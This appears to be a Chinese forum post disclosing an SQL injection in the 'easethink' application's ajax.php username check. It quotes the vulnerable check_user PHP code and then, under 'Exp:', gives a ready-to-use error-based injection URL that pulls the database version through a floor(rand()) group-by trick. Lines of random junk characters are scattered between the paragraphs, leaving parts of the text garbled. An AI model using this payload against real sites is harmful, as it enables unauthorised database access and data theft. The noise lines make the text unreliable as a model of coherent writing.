在注册的时候,输入用户名后台会验证用户名是否存在,当然是通过ajax去验证的也就是ajax.php。很多程序多会忽略这个导致存在SQL注入。! h: U2 s0 N7 |, |3 h
" v- F! @+ d* {+ s; A0 `7 B
# j) z M# j! x# `0 f; ]# y$ m' g1 Z% R8 u! g, ^! R+ i2 N
* 验证会员数据 */ function check_user($field_name,$field_data) { //开始数据验证 $user_data[$field_name] = $field_data; $res = array('status'=>1,'info'=>'','data'=>''); //用于返回的数据 if(trim($user_data['user_name'])==''&&$field_name=='user_name') { $field_item['field_name'] = 'user_name'; $field_item['error'] = EMPTY_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; } if($field_name=='user_name'&&$GLOBALS['db']->getOne("select count(*) from ".DB_PREFIX."user where user_name = '".trim($user_data['user_name'])."' and id <> ".intval($user_data['id']))>0)//这里的$user_data['user_name']的值就是用户名提交过来的值,这里只是过滤了空格。所有存在SQL注入漏洞。 { $field_item['field_name'] = 'user_name'; $field_item['error'] = EXIST_ERROR; $res['status'] = 0; $res['data'] = $field_item; return $res; }
& g: r# ?, z% x- L+ ]4 o0 i! w2 Q/ J7 Q2 O, E }2 y+ Y
" o: T( G; R( Y, U5 l2 l/ S
9 w: X/ ^- C+ DExp:
' N' r$ u7 T4 n8 G' I& _& T% x: E. f! J) B4 `( B0 g: C
# g, p+ I% @! Y# {3 r1 G
, j4 {% E$ R( u6 h/ p7 F; @, x9 ]/ M
http://192.168.9.109/easethink_f ... ame&field_data=**/(select/**/1/**/from/**/(select/**/count(*),concat(version(),floor(rand(0)*2))x/**/from/**/information_schema.tables/**/group/**/by/**/x)a)%23 8 c+ @& f- N/ {' M* N
0 _1 M8 ?# I0 {6 o5 ^ ~. U |